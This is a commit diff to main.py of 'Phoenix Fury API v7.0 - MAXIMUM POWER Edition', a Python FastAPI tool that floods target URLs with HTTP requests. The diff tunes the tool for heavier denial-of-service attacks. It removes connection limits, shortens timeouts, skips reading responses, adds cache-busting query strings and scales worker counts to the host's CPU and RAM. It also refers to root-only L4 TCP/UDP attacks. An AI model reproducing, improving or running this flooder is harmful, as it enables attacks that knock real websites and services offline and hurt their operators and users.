Samuraiog commited on
Commit
3cb8265
·
verified ·
1 Parent(s): 68bdd57

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +60 -34
main.py CHANGED
@@ -33,9 +33,29 @@ app = FastAPI(
33
 
34
  # --- Auto-Optimized Configuration ---
35
  CPU_COUNT = psutil.cpu_count(logical=True) or 8
36
- MAX_PROCESSES = min(CPU_COUNT * 2, 64) # 2x CPU cores, max 64 processes
37
- MAX_CONCURRENCY_PER_PROCESS = 512 # Balanced async tasks per process
38
- STATS_BATCH_UPDATE_SIZE = 500 # Batch updates for performance
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
39
 
40
  # --- L7 Enhanced Headers Pool ---
41
  USER_AGENTS = [
@@ -234,20 +254,18 @@ async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
234
  ssl_context.check_hostname = False
235
  ssl_context.verify_mode = ssl.CERT_NONE
236
 
237
- # Aggressive connector settings for maximum throughput
238
  connector = aiohttp.TCPConnector(
239
- limit=1000, # Limit total connections
240
- limit_per_host=100, # Per host limit
241
  ttl_dns_cache=300,
242
- force_close=False, # Keep connections alive for reuse
243
- enable_cleanup_closed=True
 
244
  )
245
 
246
- # Minimal timeouts for maximum speed
247
- timeout = aiohttp.ClientTimeout(total=10, connect=3, sock_read=3)
248
-
249
- # Semaphore to control concurrent requests
250
- semaphore = asyncio.Semaphore(concurrency)
251
 
252
  async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
253
  async def task_worker():
@@ -255,26 +273,28 @@ async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
255
  local_counter = 0
256
  while not stop_event.is_set():
257
  try:
258
- async with semaphore:
259
- # Random query string to bypass caching
260
- cache_buster = f"?{random.randint(1, 999999999)}"
261
- async with session.request(
262
- method,
263
- f"{url}{cache_buster}",
264
- headers=get_random_headers(),
265
- allow_redirects=False
266
- ) as response:
267
- await response.read() # Consume response
268
- local_counter += 1
269
- except Exception as e:
270
- local_counter += 1 # Count even on failure
 
271
  finally:
272
  # Batch updates for performance
273
  if local_counter >= STATS_BATCH_UPDATE_SIZE:
274
  with shared_counter.get_lock():
275
  shared_counter.value += local_counter
276
  local_counter = 0
277
- await asyncio.sleep(0.001) # Small delay to prevent CPU spin
 
278
 
279
  # Final update
280
  if local_counter > 0:
@@ -500,17 +520,18 @@ MANAGER = AttackManager()
500
  @app.on_event("startup")
501
  async def on_startup():
502
  """Startup message with system info."""
503
- print("=" * 60)
504
  print("🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition")
505
- print(f" Detected {CPU_COUNT} logical CPU cores")
506
  print(f" Auto-configured processes: {MAX_PROCESSES}")
507
  print(f" Auto-configured L7 concurrency: {MAX_CONCURRENCY_PER_PROCESS} per process")
508
- print(f" Total workers: {MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS:,}")
 
509
  if check_root():
510
  print("✅ Running with root privileges - L4 attacks ENABLED")
511
  else:
512
  print("⚠️ WARNING: Not root - L4 attacks will FAIL")
513
- print("=" * 60)
514
 
515
  def run_attack_lifecycle(config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str, background_tasks: BackgroundTasks):
516
  """Run attack lifecycle in background."""
@@ -572,9 +593,14 @@ def root():
572
  return {
573
  "message": "🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition",
574
  "docs": "/docs",
575
- "max_processes": MAX_PROCESSES,
576
- "max_concurrency": MAX_CONCURRENCY_PER_PROCESS,
577
- "cpu_cores": CPU_COUNT
 
 
 
 
 
578
  }
579
 
580
  # --- Main Execution ---
 
33
 
34
  # --- Auto-Optimized Configuration ---
35
  CPU_COUNT = psutil.cpu_count(logical=True) or 8
36
+ TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
37
+
38
+ # Auto-tune based on system resources
39
+ if CPU_COUNT <= 4:
40
+ MAX_PROCESSES = CPU_COUNT * 4
41
+ MAX_CONCURRENCY_PER_PROCESS = 512
42
+ elif CPU_COUNT <= 8:
43
+ MAX_PROCESSES = CPU_COUNT * 8 # 8 cores = 64 processes
44
+ MAX_CONCURRENCY_PER_PROCESS = 1024
45
+ elif CPU_COUNT <= 16:
46
+ MAX_PROCESSES = CPU_COUNT * 6
47
+ MAX_CONCURRENCY_PER_PROCESS = 768
48
+ else:
49
+ MAX_PROCESSES = CPU_COUNT * 4
50
+ MAX_CONCURRENCY_PER_PROCESS = 512
51
+
52
+ # Adjust for low RAM systems
53
+ if TOTAL_RAM_GB < 8:
54
+ MAX_CONCURRENCY_PER_PROCESS = 256
55
+ MAX_PROCESSES = min(MAX_PROCESSES, CPU_COUNT * 4)
56
+
57
+ STATS_BATCH_UPDATE_SIZE = 1000 # Larger batches
58
+ TOTAL_WORKERS = MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS
59
 
60
  # --- L7 Enhanced Headers Pool ---
61
  USER_AGENTS = [
 
254
  ssl_context.check_hostname = False
255
  ssl_context.verify_mode = ssl.CERT_NONE
256
 
257
+ # Maximum throughput connector settings
258
  connector = aiohttp.TCPConnector(
259
+ limit=0, # Unlimited connections
260
+ limit_per_host=0, # No per-host limit
261
  ttl_dns_cache=300,
262
+ force_close=False, # Reuse connections
263
+ enable_cleanup_closed=True,
264
+ keepalive_timeout=30
265
  )
266
 
267
+ # Aggressive timeouts
268
+ timeout = aiohttp.ClientTimeout(total=5, connect=2, sock_read=2)
 
 
 
269
 
270
  async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
271
  async def task_worker():
 
273
  local_counter = 0
274
  while not stop_event.is_set():
275
  try:
276
+ # Random query string to bypass caching
277
+ cache_buster = f"?_={random.randint(1, 999999999)}"
278
+ async with session.request(
279
+ method,
280
+ f"{url}{cache_buster}",
281
+ headers=get_random_headers(),
282
+ allow_redirects=False
283
+ ) as response:
284
+ # Don't wait for full response - just status
285
+ _ = response.status
286
+ local_counter += 1
287
+ except:
288
+ # Count failures too for accurate metrics
289
+ local_counter += 1
290
  finally:
291
  # Batch updates for performance
292
  if local_counter >= STATS_BATCH_UPDATE_SIZE:
293
  with shared_counter.get_lock():
294
  shared_counter.value += local_counter
295
  local_counter = 0
296
+ # Minimal yield
297
+ await asyncio.sleep(0)
298
 
299
  # Final update
300
  if local_counter > 0:
 
520
  @app.on_event("startup")
521
  async def on_startup():
522
  """Startup message with system info."""
523
+ print("=" * 70)
524
  print("🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition")
525
+ print(f" System: {CPU_COUNT} CPU cores | {TOTAL_RAM_GB:.1f} GB RAM")
526
  print(f" Auto-configured processes: {MAX_PROCESSES}")
527
  print(f" Auto-configured L7 concurrency: {MAX_CONCURRENCY_PER_PROCESS} per process")
528
+ print(f" Total workers: {TOTAL_WORKERS:,}")
529
+ print(f" Expected RPS: {int(TOTAL_WORKERS * 0.5):,} - {int(TOTAL_WORKERS * 1.5):,}")
530
  if check_root():
531
  print("✅ Running with root privileges - L4 attacks ENABLED")
532
  else:
533
  print("⚠️ WARNING: Not root - L4 attacks will FAIL")
534
+ print("=" * 70)
535
 
536
  def run_attack_lifecycle(config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str, background_tasks: BackgroundTasks):
537
  """Run attack lifecycle in background."""
 
593
  return {
594
  "message": "🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition",
595
  "docs": "/docs",
596
+ "system": {
597
+ "cpu_cores": CPU_COUNT,
598
+ "ram_gb": round(TOTAL_RAM_GB, 1),
599
+ "max_processes": MAX_PROCESSES,
600
+ "max_concurrency": MAX_CONCURRENCY_PER_PROCESS,
601
+ "total_workers": TOTAL_WORKERS,
602
+ "expected_rps": f"{int(TOTAL_WORKERS * 0.5):,} - {int(TOTAL_WORKERS * 1.5):,}"
603
+ }
604
  }
605
 
606
  # --- Main Execution ---